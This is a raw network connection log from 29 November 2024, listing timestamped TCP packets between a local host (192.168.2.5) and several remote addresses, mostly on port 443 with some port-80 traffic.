Nov 29, 2024 19:49:22.549999952 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.550009012 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.550059080 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.565882921 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.565900087 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.565969944 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.565975904 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.566031933 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.581229925 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.581250906 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.581291914 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.581298113 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.581341982 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.594599009 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.594650984 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.594836950 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.595212936 CET	49716	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.595221043 CET	443	49716	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.641625881 CET	49730	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.641639948 CET	443	49730	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.641824961 CET	49730	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.643907070 CET	49731	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.643924952 CET	443	49731	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.644052029 CET	49731	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.644783020 CET	49732	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.644831896 CET	443	49732	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.644937038 CET	49732	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.646667004 CET	49733	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.646680117 CET	443	49733	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.646980047 CET	49733	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.647322893 CET	49730	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.647335052 CET	443	49730	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.647444963 CET	49733	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.647455931 CET	443	49733	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.648391008 CET	49734	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.648401022 CET	443	49734	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.648463011 CET	49734	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.664685965 CET	49731	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.664701939 CET	443	49731	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.667160988 CET	49732	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.667175055 CET	443	49732	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:22.667393923 CET	49734	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:22.667402983 CET	443	49734	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:23.121675014 CET	443	49722	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:23.122031927 CET	49722	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:23.122049093 CET	443	49722	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:23.122385025 CET	443	49722	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:23.122730970 CET	49722	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:23.122809887 CET	443	49722	142.250.181.100	192.168.2.5
Nov 29, 2024 19:49:23.164442062 CET	49722	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:23.455147982 CET	443	49728	2.18.84.141	192.168.2.5
Nov 29, 2024 19:49:23.455260992 CET	49728	443	192.168.2.5	2.18.84.141
Nov 29, 2024 19:49:23.457129955 CET	49728	443	192.168.2.5	2.18.84.141
Nov 29, 2024 19:49:23.457139015 CET	443	49728	2.18.84.141	192.168.2.5
Nov 29, 2024 19:49:23.457402945 CET	443	49728	2.18.84.141	192.168.2.5
Nov 29, 2024 19:49:23.500431061 CET	49728	443	192.168.2.5	2.18.84.141
Nov 29, 2024 19:49:23.529961109 CET	49717	443	192.168.2.5	52.149.20.212
Nov 29, 2024 19:49:23.547327995 CET	443	49728	2.18.84.141	192.168.2.5
Nov 29, 2024 19:49:23.571326017 CET	443	49717	52.149.20.212	192.168.2.5
Nov 29, 2024 19:49:23.741023064 CET	80	49726	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:23.741075993 CET	49726	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:23.851063013 CET	49726	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:23.876557112 CET	49722	443	192.168.2.5	142.250.181.100
Nov 29, 2024 19:49:23.971065044 CET	80	49726	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:23.976480007 CET	443	49728	2.18.84.141	192.168.2.5
Nov 29, 2024 19:49:23.976550102 CET	443	49728	2.18.84.141	192.168.2.5
Nov 29, 2024 19:49:23.976623058 CET	49728	443	192.168.2.5	2.18.84.141
Nov 29, 2024 19:49:23.976772070 CET	49728	443	192.168.2.5	2.18.84.141
Nov 29, 2024 19:49:23.976783037 CET	443	49728	2.18.84.141	192.168.2.5
Nov 29, 2024 19:49:24.014703035 CET	49736	443	192.168.2.5	2.18.84.141
Nov 29, 2024 19:49:24.014734030 CET	443	49736	2.18.84.141	192.168.2.5
Nov 29, 2024 19:49:24.014914036 CET	49736	443	192.168.2.5	2.18.84.141
Nov 29, 2024 19:49:24.015422106 CET	49736	443	192.168.2.5	2.18.84.141
Nov 29, 2024 19:49:24.015438080 CET	443	49736	2.18.84.141	192.168.2.5
Nov 29, 2024 19:49:24.114505053 CET	443	49717	52.149.20.212	192.168.2.5
Nov 29, 2024 19:49:24.114526987 CET	443	49717	52.149.20.212	192.168.2.5
Nov 29, 2024 19:49:24.114535093 CET	443	49717	52.149.20.212	192.168.2.5
Nov 29, 2024 19:49:24.114547014 CET	443	49717	52.149.20.212	192.168.2.5
Nov 29, 2024 19:49:24.114573002 CET	443	49717	52.149.20.212	192.168.2.5
Nov 29, 2024 19:49:24.114626884 CET	49717	443	192.168.2.5	52.149.20.212
Nov 29, 2024 19:49:24.114639044 CET	443	49717	52.149.20.212	192.168.2.5
Nov 29, 2024 19:49:24.114667892 CET	49717	443	192.168.2.5	52.149.20.212
Nov 29, 2024 19:49:24.114691973 CET	49717	443	192.168.2.5	52.149.20.212
Nov 29, 2024 19:49:24.135320902 CET	443	49717	52.149.20.212	192.168.2.5
Nov 29, 2024 19:49:24.135390043 CET	49717	443	192.168.2.5	52.149.20.212
Nov 29, 2024 19:49:24.135397911 CET	443	49717	52.149.20.212	192.168.2.5
Nov 29, 2024 19:49:24.135407925 CET	443	49717	52.149.20.212	192.168.2.5
Nov 29, 2024 19:49:24.135453939 CET	49717	443	192.168.2.5	52.149.20.212
Nov 29, 2024 19:49:24.364137888 CET	443	49730	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.364984035 CET	49730	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.364995956 CET	443	49730	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.365701914 CET	49730	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.365706921 CET	443	49730	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.389158964 CET	443	49732	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.389766932 CET	443	49734	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.390796900 CET	49732	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.390821934 CET	443	49732	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.397468090 CET	49732	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.397475004 CET	443	49732	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.398161888 CET	49734	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.398169994 CET	443	49734	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.399099112 CET	49734	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.399104118 CET	443	49734	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.457511902 CET	443	49731	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.457959890 CET	49731	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.457976103 CET	443	49731	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.458431005 CET	49731	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.458437920 CET	443	49731	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.521342039 CET	443	49733	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.522010088 CET	49733	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.522022009 CET	443	49733	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.522527933 CET	49733	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.522532940 CET	443	49733	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.787552118 CET	80	49726	185.215.113.206	192.168.2.5
Nov 29, 2024 19:49:24.787612915 CET	49726	80	192.168.2.5	185.215.113.206
Nov 29, 2024 19:49:24.804187059 CET	443	49730	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.804209948 CET	443	49730	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.804282904 CET	49730	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.804296017 CET	443	49730	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.804482937 CET	49730	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.804792881 CET	49730	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.804797888 CET	443	49730	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.804862976 CET	49730	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.805130005 CET	443	49730	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.805160999 CET	443	49730	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.805222988 CET	49730	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.819190979 CET	49738	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.819231033 CET	443	49738	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.819466114 CET	49738	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.819695950 CET	49738	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.819708109 CET	443	49738	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.830343962 CET	443	49732	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.830365896 CET	443	49732	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.830429077 CET	49732	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.830451012 CET	443	49732	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.830492020 CET	49732	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.831079006 CET	443	49734	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.831098080 CET	443	49734	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.831150055 CET	49734	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.831157923 CET	443	49734	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.831290007 CET	49732	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.831298113 CET	443	49732	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.831315994 CET	49732	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.831450939 CET	443	49732	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.831480980 CET	443	49732	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.831521988 CET	49732	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.831612110 CET	49734	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.831625938 CET	443	49734	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.831634045 CET	49734	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.831744909 CET	443	49734	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.831789970 CET	443	49734	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.831839085 CET	49734	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.834877014 CET	49739	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.834908962 CET	443	49739	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.834975958 CET	49739	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.835163116 CET	49739	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.835179090 CET	443	49739	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.835290909 CET	49740	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.835323095 CET	443	49740	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.835452080 CET	49740	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.836585999 CET	49740	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.836597919 CET	443	49740	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.902196884 CET	443	49731	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.902285099 CET	443	49731	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.902451992 CET	49731	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.902849913 CET	49731	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.902864933 CET	443	49731	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.902875900 CET	49731	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.902880907 CET	443	49731	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.911768913 CET	49741	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.911792994 CET	443	49741	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.911885977 CET	49741	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.912817955 CET	49741	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.912834883 CET	443	49741	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.981287003 CET	443	49733	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.983470917 CET	443	49733	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.983522892 CET	49733	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.984692097 CET	49733	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.984703064 CET	443	49733	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.984745979 CET	49733	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.984750986 CET	443	49733	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.998918056 CET	49742	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.998955011 CET	443	49742	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:24.999016047 CET	49742	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.999840021 CET	49742	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:24.999852896 CET	443	49742	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:25.430839062 CET	443	49736	2.18.84.141	192.168.2.5
Nov 29, 2024 19:49:25.430927992 CET	49736	443	192.168.2.5	2.18.84.141
Nov 29, 2024 19:49:25.433907032 CET	49736	443	192.168.2.5	2.18.84.141
Nov 29, 2024 19:49:25.433913946 CET	443	49736	2.18.84.141	192.168.2.5
Nov 29, 2024 19:49:25.434127092 CET	443	49736	2.18.84.141	192.168.2.5
Nov 29, 2024 19:49:25.436309099 CET	49736	443	192.168.2.5	2.18.84.141
Nov 29, 2024 19:49:25.483330965 CET	443	49736	2.18.84.141	192.168.2.5
Nov 29, 2024 19:49:25.576596022 CET	49717	443	192.168.2.5	52.149.20.212
Nov 29, 2024 19:49:25.576617002 CET	443	49717	52.149.20.212	192.168.2.5
Nov 29, 2024 19:49:25.576628923 CET	49717	443	192.168.2.5	52.149.20.212
Nov 29, 2024 19:49:25.576636076 CET	443	49717	52.149.20.212	192.168.2.5
Nov 29, 2024 19:49:25.948420048 CET	443	49736	2.18.84.141	192.168.2.5
Nov 29, 2024 19:49:25.948492050 CET	443	49736	2.18.84.141	192.168.2.5
Nov 29, 2024 19:49:25.948565006 CET	49736	443	192.168.2.5	2.18.84.141
Nov 29, 2024 19:49:25.972276926 CET	49736	443	192.168.2.5	2.18.84.141
Nov 29, 2024 19:49:25.972301006 CET	443	49736	2.18.84.141	192.168.2.5
Nov 29, 2024 19:49:25.972312927 CET	49736	443	192.168.2.5	2.18.84.141
Nov 29, 2024 19:49:25.972318888 CET	443	49736	2.18.84.141	192.168.2.5
Nov 29, 2024 19:49:26.603015900 CET	443	49738	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:26.605920076 CET	49738	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:26.605932951 CET	443	49738	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:26.607808113 CET	49738	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:26.607814074 CET	443	49738	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:26.614834070 CET	443	49739	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:26.615658045 CET	49739	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:26.615689039 CET	443	49739	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:26.616250038 CET	49739	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:26.616255999 CET	443	49739	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:26.616302013 CET	443	49740	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:26.616971016 CET	49740	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:26.616993904 CET	443	49740	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:26.617428064 CET	49740	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:26.617434025 CET	443	49740	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:26.693659067 CET	443	49741	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:26.694199085 CET	49741	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:26.694209099 CET	443	49741	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:26.694751978 CET	49741	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:26.694756031 CET	443	49741	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:26.782581091 CET	443	49742	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:26.816016912 CET	49742	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:26.816035986 CET	443	49742	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:26.816528082 CET	49742	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:26.816531897 CET	443	49742	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.047925949 CET	443	49738	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.047990084 CET	443	49738	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.048118114 CET	49738	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.048533916 CET	49738	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.048552990 CET	443	49738	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.048563957 CET	49738	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.048571110 CET	443	49738	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.052201986 CET	49744	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.052243948 CET	443	49744	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.052489042 CET	49744	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.052725077 CET	49744	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.052738905 CET	443	49744	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.059302092 CET	443	49739	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.059356928 CET	443	49739	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.059458017 CET	49739	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.059624910 CET	49739	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.059633017 CET	443	49739	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.059647083 CET	49739	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.059652090 CET	443	49739	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.061402082 CET	443	49740	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.061458111 CET	443	49740	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.061842918 CET	49740	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.062336922 CET	49740	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.062336922 CET	49740	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.062354088 CET	443	49740	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.062366009 CET	443	49740	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.065908909 CET	49745	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.065943956 CET	443	49745	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.066004992 CET	49745	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.066241026 CET	49745	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.066260099 CET	443	49745	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.068727016 CET	49746	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.068737984 CET	443	49746	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.068806887 CET	49746	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.069159031 CET	49746	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.069171906 CET	443	49746	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.138355970 CET	443	49741	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.138420105 CET	443	49741	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.138494968 CET	49741	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.179434061 CET	49741	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.179445028 CET	443	49741	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.179455996 CET	49741	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.179461002 CET	443	49741	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.192935944 CET	49747	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.192960024 CET	443	49747	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.193069935 CET	49747	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.193739891 CET	49747	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.193752050 CET	443	49747	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.226648092 CET	443	49742	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.226711035 CET	443	49742	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.226792097 CET	49742	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.227206945 CET	49742	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.227207899 CET	49742	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.227225065 CET	443	49742	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.227233887 CET	443	49742	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.279150963 CET	49748	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.279170990 CET	443	49748	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:27.279264927 CET	49748	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.287347078 CET	49748	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:27.287362099 CET	443	49748	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:28.787470102 CET	443	49746	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:28.788072109 CET	49746	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:28.788108110 CET	443	49746	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:28.790482998 CET	49746	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:28.790489912 CET	443	49746	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:28.833987951 CET	443	49744	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:28.834521055 CET	49744	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:28.834530115 CET	443	49744	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:28.835169077 CET	49744	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:28.835171938 CET	443	49744	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:28.913491011 CET	443	49745	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:28.914144993 CET	49745	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:28.914170980 CET	443	49745	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:28.917407990 CET	49745	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:28.917413950 CET	443	49745	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.041034937 CET	443	49747	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.041990042 CET	49747	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.042011976 CET	443	49747	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.043498993 CET	49747	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.043504953 CET	443	49747	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.139780045 CET	443	49748	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.142935991 CET	49748	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.142935991 CET	49748	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.142946005 CET	443	49748	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.142960072 CET	443	49748	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.226969957 CET	443	49746	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.227037907 CET	443	49746	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.227127075 CET	49746	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.227440119 CET	49746	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.227447033 CET	443	49746	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.227478027 CET	49746	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.227483988 CET	443	49746	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.235163927 CET	49749	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.235207081 CET	443	49749	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.237158060 CET	49749	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.237426043 CET	49749	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.237438917 CET	443	49749	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.279033899 CET	443	49744	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.279093027 CET	443	49744	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.279350042 CET	49744	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.279350042 CET	49744	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.279371977 CET	49744	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.279376984 CET	443	49744	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.282198906 CET	49750	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.282218933 CET	443	49750	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.282366991 CET	49750	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.282505989 CET	49750	443	192.168.2.5	13.107.246.63
Nov 29, 2024 19:49:29.282517910 CET	443	49750	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.367054939 CET	443	49745	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.367114067 CET	443	49745	13.107.246.63	192.168.2.5
Nov 29, 2024 19:49:29.367432117 CET	49745	443	192.168.2.5	13.107.246.63
